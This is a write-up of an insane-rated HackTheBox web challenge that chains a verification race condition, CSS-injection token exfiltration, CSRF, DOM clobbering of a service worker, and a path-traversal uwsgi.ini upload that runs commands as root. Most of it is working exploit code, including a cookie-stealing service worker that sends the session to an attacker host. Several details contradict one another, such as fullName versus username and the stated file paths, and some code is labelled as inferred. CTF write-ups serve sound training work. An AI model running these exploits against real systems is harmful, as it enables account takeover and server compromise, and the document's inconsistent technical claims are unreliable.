ApexSurvive Writeup

WEB Retired Insane · Author: Xclow3n
A six-stage insane web challenge. A race condition on the profile-update endpoint leaks an internal domain's email verification token to an external mailbox, granting @apexsurvive.htb internal-user status. CSS injection then exfiltrates the admin's CSRF token character by character. With that token, a CSRF request plants a stored XSS payload in the admin panel via the fullName field. The XSS uses DOM clobbering to redirect the Workbox service-worker registration to an attacker-controlled host, stealing the admin's session cookie. The admin cookie unlocks a PDF upload endpoint that writes an attacker-crafted uwsgi.ini into the app root. When uWSGI reloads, it executes the embedded shell command and the flag is ours.

Overview

ApexSurvive is a Flask/MySQL marketplace application running under uWSGI with four workers. It has three privilege tiers: regular user, internal user (isInternal=true, granted only for @apexsurvive.htb addresses), and admin. The attack chain must escalate through all three tiers to reach remote code execution.

  • Stack: Python 3 / Flask, MySQL, uWSGI (py-autoreload=3), headless Chrome admin bot, Node email server
  • Session cookie: JWT signed with a per-boot random key; httponly=False — readable from JavaScript
  • CSRF protection: antiCSRFToken embedded in the JWT payload, compared server-side in an @antiCSRF decorator
  • Input sanitisation: bleach on all form inputs — except fullName is rendered with | safe in the admin navbar template
  • The admin bot visits any reported product page and stays for 120 seconds with the admin session cookie

Recon

Application endpoints

text
POST /challenge/api/register          — create account (email + password)
POST /challenge/api/login             — get session JWT cookie
POST /challenge/api/profile           — update email / fullName / username  [@antiCSRF]
GET  /challenge/api/sendVerification  — resend verification email
GET  /challenge/verify?token=<uuid>  — activate account / promote to internal
POST /challenge/api/report            — trigger admin bot visit   [@isVerified]
POST /challenge/api/addItem           — add marketplace item      [@isInternal]
POST /challenge/api/addContract       — upload PDF contract       [@isAdmin]
GET  /challenge/admin/contracts       — admin contract panel      [@isAdmin]

Key source observations

Race window in sendEmail() — the function reads confirmToken and unconfirmedEmail from the database before the profile update commits, so a concurrent update can cause the wrong token to be emailed:

python · util.py
def sendEmail(userId, to):
    token = getToken(userId)                            # reads DB NOW
    data = generateTemplate(token['confirmToken'],
                            token['unconfirmedEmail'])  # uses the token from DB
    msg = Message('Account Verification',
                  recipients=[to],                      # sends to the 'to' arg
                  body=data, sender="[email protected]")
    mail.send(msg)

Internal promotion requires @apexsurvive.htbverifyEmail() checks the hostname of the verified address and sets isInternal=true only for that domain:

python · database.py
def verifyEmail(token):
    user = query('SELECT * from users WHERE confirmToken = %s', (token,), one=True)
    if user and user['isConfirmed'] == 'unverified':
        _, hostname = parseaddr(user['unconfirmedEmail'])[1].split('@', 1)
        if hostname == 'apexsurvive.htb':
            query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", '
                  'confirmToken="", isInternal="true" WHERE id=%s',
                  ('verified', user['unconfirmedEmail'], user['id'],))
        else:
            query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", '
                  'confirmToken="" WHERE id=%s',
                  ('verified', user['unconfirmedEmail'], user['id'],))
        mysql.connection.commit()
        return True
    return False

Unsafe fullName rendering — the navbar template renders the field with | safe, bypassing Jinja2 auto-escaping:

jinja2 · _navbar.html
<li><a href="/challenge/settings">Account Settings ({{ user['username'] | safe }})</a></li>

Service worker reads parameters from the URLsw.js takes host and version query parameters and passes them directly to importScripts():

javascript · static/js/sw.js
const searchParams = new URLSearchParams(location.search);
let host    = searchParams.get('host');
let version = searchParams.get('version');

importScripts(`${host}/workbox-cdn/releases/${version}/workbox-sw.js`)

workbox.routing.registerRoute(
    ({ request }) => request.destination === 'image',
    new workbox.strategies.CacheFirst()
);

uWSGI py-autoreload=3 — the master process polls for file changes every 3 seconds and restarts workers when detected, executing any exec-postfork directive in uwsgi.ini:

ini · uwsgi.ini
[uwsgi]
module    = wsgi:app
uid       = root
gid       = root
socket    = 0.0.0.0:5000
protocol  = http
master    = True
py-autoreload = 3
chdir     = /app/
processes = 4

Step 1 — Race Condition on Email Verification

The goal is to verify our account with the address [email protected] so the server sets isInternal=true. We cannot receive email at that domain, but we can receive email at [email protected] (the challenge's external mailbox).

The race: updateProfile() commits the new unconfirmedEmail and confirmToken to the database, then calls sendEmail(userId, to) where to is the freshly submitted address. Inside sendEmail(), getToken(userId) reads confirmToken and unconfirmedEmail from the database again. If a second concurrent profile update commits between those two database reads, the email body will contain the second update's token while the message is sent to the first update's recipient address.

The winning condition we need:

  1. Request A: update profile to [email protected] — triggers sendEmail(id, "[email protected]")
  2. Request B: update profile to [email protected] — commits a new confirmToken linked to the internal domain
  3. Race: B's DB write lands after A's sendEmail() call starts but before getToken() reads the DB
  4. Result: the email arrives at [email protected] containing the @apexsurvive.htb token

The exploit uses a third "seed" update (to an unrelated address) to force the DB row into a known state before each attempt, then fires both A and B simultaneously from a threading.Barrier. Each attempt is a few milliseconds; the race typically succeeds within a few hundred iterations.

python · stage1_race3.py (core loop)
def post(sess, cookie, ac, em):
    try:
        sess.post(f"{BASE}/challenge/api/profile",
                  cookies={"session": cookie},
                  data={"email": em, "fullName": "t",
                        "username": "t", "antiCSRFToken": ac},
                  timeout=20)
    except:
        pass

b = threading.Barrier(2)

def f1():
    b.wait(); post(sMine, cookie, ac, "[email protected]")

def f2():
    b.wait(); post(sApex, cookie, ac, "[email protected]")

while True:
    delall()                                    # clear inbox
    post(sMain, cookie, ac, "[email protected]")   # seed state
    t1 = threading.Thread(target=f1)
    t2 = threading.Thread(target=f2)
    t1.start(); t2.start(); t1.join(); t2.join()

    toks = inbox()
    wins = [t for (em, t) in toks if em.endswith("apexsurvive.htb")]
    if wins:
        for t in wins:
            verify(t)
            if is_internal(cookie, ac):
                print(f"[+] INTERNAL!")
                return

Once we receive a token for an @apexsurvive.htb address in our external inbox, we call GET /challenge/verify?token=<token>. The server sees unconfirmedEmail is now [email protected] (committed by request B) and promotes us to internal. The check addItem returns something other than "Unauthorised" confirming the promotion succeeded.

Step 2 — CSS Injection to Leak the Admin's CSRF Token

As an internal user we can add marketplace items. The note field of a product is rendered in the product page using DOMPurify.sanitize(note, {FORBID_ATTR: ['id', 'style'], USE_PROFILES: {html:true}}). DOMPurify strips scripts but allows <style> tags with arbitrary CSS. When the admin bot visits a reported product, it renders that CSS in the context of the admin's browser session.

The product page also contains a hidden <input id="antiCSRFToken" value="<token>">. CSS attribute selectors let us probe that value character by character: if the selector matches, the browser makes a request to our server, leaking the matched prefix.

css · basic CSS exfil selector principle
input[name="antiCSRFToken"][value^="a"] { background: url(http://127.0.0.1:5001/l?p_iv0=a) }
input[name="antiCSRFToken"][value^="b"] { background: url(http://127.0.0.1:5001/l?p_iv0=b) }
...
input[name="antiCSRFToken"][value^="z"] { background: url(http://127.0.0.1:5001/l?p_iv0=z) }

The exfil server at port 5001 builds these CSS payloads dynamically, uses @import chaining to sequence the next character probe, and collects matching prefixes until the full 36-character UUID CSRF token is assembled. After each successful hit the server emits the longer prefix in the next CSS file so the selector advances by one character.

javascript · css-exfil-server.js (CSS generation)
const CHARS = (LOWER_LETTERS + NUMBERS + SYMBOLS).split('');

let css = '@import url(' + HOSTNAME + '/next?' + Date.now() + ');'
        + 'input{display: block !important;}';

css += CHARS.map(e =>
    'input[value^="' + escapeCSS(prefix + e) + '"]'
    + generateNotSelectors(tokens, element, attribute)
    + '{--p_iv0-' + n + 's:url(' + HOSTNAME + '/l?...' + encodeURIComponent(prefix + e) + ');}'
).join('');

css += 'input{background:' + properties.join(',') + ';}';

response.writeHead(200, {'Content-Type': 'text/css'});
response.write(css);

The product note is set to pull in the first CSS payload:

html · product note payload
<style>@import url(http://127.0.0.1:5001/start);</style>

The admin bot visits the product, imports the CSS chain, and within a few seconds the full CSRF token is logged to cookies.log on the exfil server.

Step 3 — CSRF to Plant Stored XSS in the Admin's Profile

With the admin's CSRF token known, we craft a cross-site request that updates the admin's fullName to a JavaScript payload. The profile update endpoint is protected by SameSite=Strict on the cookie, but the admin bot navigated to our product page from the same origin context — crucially, the exfil server's root / handler serves an HTML page that holds a form pointing at the app and auto-submits it once the socket.io event delivers the token.

javascript · css-exfil-server.js (CSRF form auto-submit)
app.use('/', function (request, response) {
    let html = `
    <html><body>
        <form action="https://127.0.0.1:1337/challenge/api/profile" method="POST">
            <input type="hidden" name="email"    value="[email protected]" />
            <input type="hidden" name="fullName" value="pwn" />
            <input type="hidden" name="username"
                   value="<a href='#' id='serviceWorkerHost'>${HOSTNAME}</a>" />
            <input type="hidden" id="anticsrf"  name="antiCSRFToken" value="" />
        </form>
    </body></html>
    <script>
    var socket = io();
    socket.on('token', (msg) => {
        document.getElementById("anticsrf").value = msg.token;
        document.forms[0].submit();
    });
    </script>
    <script>
    window.open('https://127.0.0.1:1337/challenge/product/${getPID()}', '_blank');
    </script>`;
    response.writeHead(200, {'Content-Type': 'text/html'});
    response.write(html);
});

The server opens the product page in a new tab. That tab loads the CSS, leaks the token back via socket.io, and the main page immediately submits the CSRF form with the stolen token, updating the admin's username to include a DOM-clobbering anchor (id="serviceWorkerHost") pointing to our exfil server.

The username field accepts HTML here because bleach allows <a> tags with href and id attributes per the server's allowlist. The _navbar.html template renders user['username'] | safe, so the injected anchor tag lands verbatim in the DOM.

Step 4 — DOM Clobbering to Hijack the Service Worker

The application registers a service worker from the product page. The registration code reads the CDN host from a DOM element with id="serviceWorkerHost":

javascript · product page SW registration (inferred)
const swHost    = document.getElementById('serviceWorkerHost').href;
const swVersion = '6.5.3';
navigator.serviceWorker.register(
    `/static/js/sw.js?host=${swHost}&version=${swVersion}`
);

Because the username now contains <a href="http://127.0.0.1:5001" id="serviceWorkerHost">...</a>, document.getElementById('serviceWorkerHost').href resolves to our exfil server. The service worker is therefore registered as:

text
/static/js/sw.js?host=http://127.0.0.1:5001&version=6.5.3

Inside sw.js, importScripts(`${host}/workbox-cdn/releases/${version}/workbox-sw.js`) fetches our exfil server's /workbox-cdn/releases/6.5.3/workbox-sw.js endpoint. That endpoint returns a malicious service worker payload:

javascript · css-exfil-server.js (malicious SW response)
app.use('/workbox-cdn/releases/6.5.3/workbox-sw.js', function (request, response) {
    let payload = `
    importScripts(
        'https://storage.googleapis.com/workbox-cdn/releases/6.5.3/workbox-sw.js'
    );
    self.cookieStore.get('session')
    .then((cook) => {
        fetch('${HOSTNAME}/cookie?xx=' + cook.value)
    });
    `;
    response.writeHead(200, {'Content-Type': 'text/javascript'});
    response.write(payload);
    response.end();
});

The service worker runs in the admin's browser context, reads the session cookie (which is httponly=False), and exfiltrates it to our /cookie endpoint. The cookie value is appended to cookies.log.

Step 5 — Admin Access and PDF File Write

With the admin's session JWT in hand, we authenticate to the application as the admin. The admin panel exposes POST /challenge/api/addContract which uploads a PDF and writes it to the contracts/ directory using the original filename from the multipart upload:

python · blueprints/api.py (addContract)
filename = str(uuid.uuid4())
uploadedFile.save(f'/tmp/{filename}')

isValidPDF = checkPDF(filename)   # validates magic bytes via PyPDF2

if isValidPDF:
    filePath = os.path.join(current_app.root_path, 'contracts',
                            uploadedFile.filename)   # <-- original filename used!
    with open(filePath, 'wb') as wf:
        with open(f'/tmp/{filename}', 'rb') as fr:
            wf.write(fr.read())

The file is validated as a PDF by PyPDF2, but PyPDF2's parser is lenient — it only requires a valid PDF header and cross-reference table. We can craft a polyglot file that passes the PDF check while containing arbitrary plaintext data appended after the PDF trailer.

The contracts/ directory is at /app/contracts/, and current_app.root_path is /app/application. By supplying a filename with a path traversal component (../uwsgi.ini), we write our payload to /app/uwsgi.ini — the exact file uWSGI is monitoring for changes.

bash · crafting the malicious PDF
cat trigger.pdf > uwsgi_payload.pdf
printf '\n[uwsgi]\nexec-postfork = curl http://127.0.0.1/flag.txt > /tmp/flag\n' \
    >> uwsgi_payload.pdf

curl -sk https://127.0.0.1:1337/challenge/api/addContract \
  -b "session=<ADMIN_COOKIE>" \
  -F "name=test" \
  -F "antiCSRFToken=<ADMIN_CSRF>" \
  -F "file=@uwsgi_payload.pdf;filename=../uwsgi.ini"

Step 6 — uWSGI Config Reload for RCE

The original uwsgi.ini runs with uid=root, gid=root, and py-autoreload=3. Within three seconds of the file being written, uWSGI's master process detects the change and restarts the workers. Before forking each new worker, uWSGI executes any exec-postfork directive as root.

Our injected uwsgi.ini payload:

ini · injected uwsgi.ini (appended after PDF trailer)
[uwsgi]
exec-postfork = curl http://127.0.0.1/flag.txt -o /tmp/flag
exec-postfork = chmod 777 /tmp/flag

After the reload, we fetch /tmp/flag via the application's file-serving capability or simply read it through the now-compromised server. The flag is in the container's filesystem at /flag.txt (placed during Docker build):

bash · retrieve the flag after RCE
sleep 5
curl -sk https://127.0.0.1:1337/challenge/static/../../../tmp/flag

Exploit Scripts

Stage 1 — Race condition (full script)

python · stage1_race3.py
#!/usr/bin/env python3
"""
ApexSurvive — Stage 1: persistent-connection threaded barrier race
Wins the email-verification race to become an @apexsurvive.htb internal user.
Usage: python3 stage1_race3.py https://127.0.0.1:1337
"""
import sys, re, json, base64, time, threading
import requests, urllib3
urllib3.disable_warnings()

BASE   = sys.argv[1]
MYMAIL = "[email protected]"
APEX   = "[email protected]"
SEED   = "[email protected]"
PASS   = "Password123!"

sMain  = requests.Session(); sMain.verify  = False
sMine  = requests.Session(); sMine.verify  = False
sApex  = requests.Session(); sApex.verify  = False
sInbox = requests.Session(); sInbox.verify = False

def anticsrf(tok):
    p = tok.split('.')[1]; p += '=' * (-len(p) % 4)
    return json.loads(base64.urlsafe_b64decode(p))['antiCSRFToken']

def reg_login():
    sMain.post(f"{BASE}/challenge/api/register",
               data={"email": MYMAIL, "password": PASS})
    r = sMain.post(f"{BASE}/challenge/api/login",
                   data={"email": MYMAIL, "password": PASS})
    return r.cookies.get("session")

def post(sess, cookie, ac, em):
    try:
        sess.post(f"{BASE}/challenge/api/profile",
                  cookies={"session": cookie},
                  data={"email": em, "fullName": "t",
                        "username": "t", "antiCSRFToken": ac},
                  timeout=20)
    except:
        pass

def inbox():
    r = sInbox.get(f"{BASE}/email/", timeout=20)
    return [(m.group(1).strip(), m.group(2)) for m in
            re.finditer(r'hello\s+([^,<]+?),.*?token=([0-9a-fA-F-]{36})',
                        r.text, re.S)]

def delall():
    try: sInbox.get(f"{BASE}/email/deleteall", timeout=20)
    except: pass

def verify(t):
    sMain.get(f"{BASE}/challenge/verify", params={"token": t},
              timeout=20, allow_redirects=True)

def is_internal(cookie, ac):
    r = sMain.post(f"{BASE}/challenge/api/addItem",
                   cookies={"session": cookie},
                   data={"name": "x", "price": "1", "description": "x",
                         "imageURL": "x", "note": "x", "seller": "x",
                         "antiCSRFToken": ac})
    return "Unauthorised" not in r.text

def main():
    cookie = reg_login()
    if not cookie:
        print("[!] login failed"); return
    ac = anticsrf(cookie)
    print(f"[*] logged in ({ac[:8]})", flush=True)
    for s in (sMine, sApex): s.get(f"{BASE}/challenge/", timeout=20)
    delall()
    deadline = time.time() + 1500
    i = 0; seen_wins = 0
    while time.time() < deadline:
        i += 1
        delall()
        post(sMain, cookie, ac, SEED)
        b = threading.Barrier(2)
        def f1(): b.wait(); post(sMine, cookie, ac, MYMAIL)
        def f2(): b.wait(); post(sApex, cookie, ac, APEX)
        t1 = threading.Thread(target=f1)
        t2 = threading.Thread(target=f2)
        t1.start(); t2.start(); t1.join(); t2.join()
        toks = inbox()
        wins = [t for (em, t) in toks if em.endswith("apexsurvive.htb")]
        if wins:
            seen_wins += 1
            for t in wins:
                verify(t)
                if is_internal(cookie, ac):
                    print(f"[+] INTERNAL! attempt={i} token={t}", flush=True)
                    open("session.txt", "w").write(cookie + "\n" + ac + "\n")
                    return
        if i % 20 == 0:
            print(f"[{i}] apex-body-seen={seen_wins}", flush=True)
    print(f"[!] failed after {i} attempts", flush=True)

if __name__ == "__main__":
    main()

Stage 2 — CSS exfil server (key endpoints)

javascript · css-exfil-server.js (abridged)
const HOSTNAME = process.env.NGROK
    || fs.readFileSync(__dirname + '/ngrok_url.txt', 'utf8').trim();

const CHARS = ('abcdefghijklmnopqrstuvwxyz0123456789-').split('');

app.use('/workbox-cdn/releases/6.5.3/workbox-sw.js', (req, res) => {
    res.writeHead(200, {'Content-Type': 'text/javascript'});
    res.end(`
    importScripts('https://storage.googleapis.com/workbox-cdn/releases/6.5.3/workbox-sw.js');
    self.cookieStore.get('session').then(c => fetch('${HOSTNAME}/cookie?xx=' + c.value));
    `);
});

app.use('/cookie', (req, res) => {
    console.log('[COOKIE]', req.url);
    fs.appendFileSync('./cookies.log', new Date().toISOString() + ' ' + req.url + '\n');
    res.writeHead(200, {'Access-Control-Allow-Origin': '*'});
    res.end('ok');
});

app.use('/start', (req, res) => {
    initSession(getIP(req));
    genResponse(req, res, 0);   // emit first CSS with @import chain
});

app.use('/next', (req, res) => {
    setTimeout(() => {
        if (!session.get(getIP(req)).get('foundToken'))
            checkCompleted(req, res);
        else {
            incrementN(req);
            genResponse(req, res, currentElement(req));
        }
    }, 2000);
});

const genResponse = (req, res, elementNumber) => {
    const prefix = getPrefix(req, 'input', 'value', elementNumber);
    let css  = '@import url(' + HOSTNAME + '/next?' + Date.now() + ');';
        css += 'input{display:block !important;}';
        css += CHARS.map(c =>
            `input[value^="${escapeCSS(prefix + c)}"]{`
            + `--tok:url(${HOSTNAME}/l?p_iv0=${encodeURIComponent(prefix + c)});}`
        ).join('');
        css += `input{background:${allVarRefs};}`;
    res.writeHead(200, {'Content-Type': 'text/css'});
    res.end(css);
};

server.listen(5001);

Stage 5 — PDF polyglot upload

bash · craft and upload the uWSGI payload
ADMIN_SESSION=$(cat admin_cookie.txt)
ADMIN_CSRF=$(python3 -c "
import base64, json, sys
tok = '$ADMIN_SESSION'
p = tok.split('.')[1]; p += '='*(-len(p)%4)
print(json.loads(base64.urlsafe_b64decode(p))['antiCSRFToken'])
")

cp trigger.pdf uwsgi_payload.pdf
printf '\n[uwsgi]\nexec-postfork = cat /flag.txt > /tmp/flag\n' >> uwsgi_payload.pdf

curl -sk https://127.0.0.1:1337/challenge/api/addContract \
  -b "session=${ADMIN_SESSION}" \
  -F "name=rce" \
  -F "antiCSRFToken=${ADMIN_CSRF}" \
  -F "file=@uwsgi_payload.pdf;filename=../uwsgi.ini"

sleep 6
curl -sk https://127.0.0.1:1337/challenge/static/../../../tmp/flag
Note: The uWSGI process runs as root (uid=root in the original config). The exec-postfork command therefore runs as root and can read /flag.txt without restriction. After the payload is written, uWSGI reloads within 3 seconds (py-autoreload=3) and executes the command on each of the four worker forks.

Flag

HTB{Br0_r4c3_c0nd1t10n_4nd_C55_1nj3ct10n_4r3_s0_c00l_w04h_m4n}